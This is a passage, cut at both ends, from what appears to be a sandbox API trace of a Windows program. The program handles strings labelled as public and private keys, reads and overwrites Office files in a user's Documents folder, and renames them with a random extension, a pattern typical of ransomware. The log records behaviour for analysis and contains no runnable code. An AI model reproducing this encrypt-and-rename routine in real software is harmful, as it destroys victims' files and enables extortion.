Dq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0088.377] GetCurrentThreadId () returned 0xa30 [0088.377] GetCurrentThreadId () returned 0xa30 [0088.377] GetCurrentThreadId () returned 0xa30 [0088.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.378] GetCurrentThreadId () returned 0xa30 [0088.378] GetCurrentThreadId () returned 0xa30 [0088.378] GetCurrentThreadId () returned 0xa30 [0088.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xjQ7-Z6-cvpQ18.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xjq7-z6-cvpq18.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.379] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0088.379] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.379] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x802b [0088.379] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0088.379] ReadFile (in: hFile=0x124, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x802b, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x802b, lpOverlapped=0x0) returned 1 [0088.382] CloseHandle (hObject=0x124) returned 1 [0088.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xjQ7-Z6-cvpQ18.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xjq7-z6-cvpq18.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0088.385] WriteFile (in: hFile=0x124, lpBuffer=0x1efa040*, nNumberOfBytesToWrite=0x802b, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1efa040*, lpNumberOfBytesWritten=0x18f978*=0x802b, lpOverlapped=0x0) returned 1 [0088.388] CloseHandle (hObject=0x124) returned 1 [0088.388] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xjQ7-Z6-cvpQ18.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xjq7-z6-cvpq18.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xjQ7-Z6-cvpQ18.pptx.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xjq7-z6-cvpq18.pptx.zv7un")) returned 1 [0088.389] GetCurrentThreadId () returned 0xa30 [0088.389] GetCurrentThreadId () returned 0xa30 [0088.389] GetCurrentThreadId () returned 0xa30 [0088.390] GetCurrentThreadId () returned 0xa30 [0088.390] GetCurrentThreadId () returned 0xa30 [0088.390] GetCurrentThreadId () returned 0xa30 [0088.390] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1968c0f0, ftCreationTime.dwHighDateTime=0x1d57ac1, ftLastAccessTime.dwLowDateTime=0xfa7875e0, ftLastAccessTime.dwHighDateTime=0x1d5a91a, ftLastWriteTime.dwLowDateTime=0xfa7875e0, ftLastWriteTime.dwHighDateTime=0x1d5a91a, nFileSizeHigh=0x0, nFileSizeLow=0x17ae, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="YS0OguZ6OJI9t.xlsx", cAlternateFileName="YS0OGU~1.XLS")) returned 1 [0088.390] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0088.390] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0088.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YS0OguZ6OJI9t.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ys0oguz6oji9t.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1968c0f0, ftCreationTime.dwHighDateTime=0x1d57ac1, ftLastAccessTime.dwLowDateTime=0xfa7875e0, ftLastAccessTime.dwHighDateTime=0x1d5a91a, ftLastWriteTime.dwLowDateTime=0xfa7875e0, ftLastWriteTime.dwHighDateTime=0x1d5a91a, nFileSizeHigh=0x0, nFileSizeLow=0x17ae)) returned 1 [0088.390] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YS0OguZ6OJI9t.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ys0oguz6oji9t.xlsx")) returned 0x20 [0088.390] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YS0OguZ6OJI9t.xlsx", dwFileAttributes=0x80) returned 1 [0088.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.393] GetCurrentThreadId () returned 0xa30 [0088.393] GetCurrentThreadId () returned 0xa30 [0088.393] GetCurrentThreadId () returned 0xa30 [0088.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.394] WideCharToMultiByte (in: 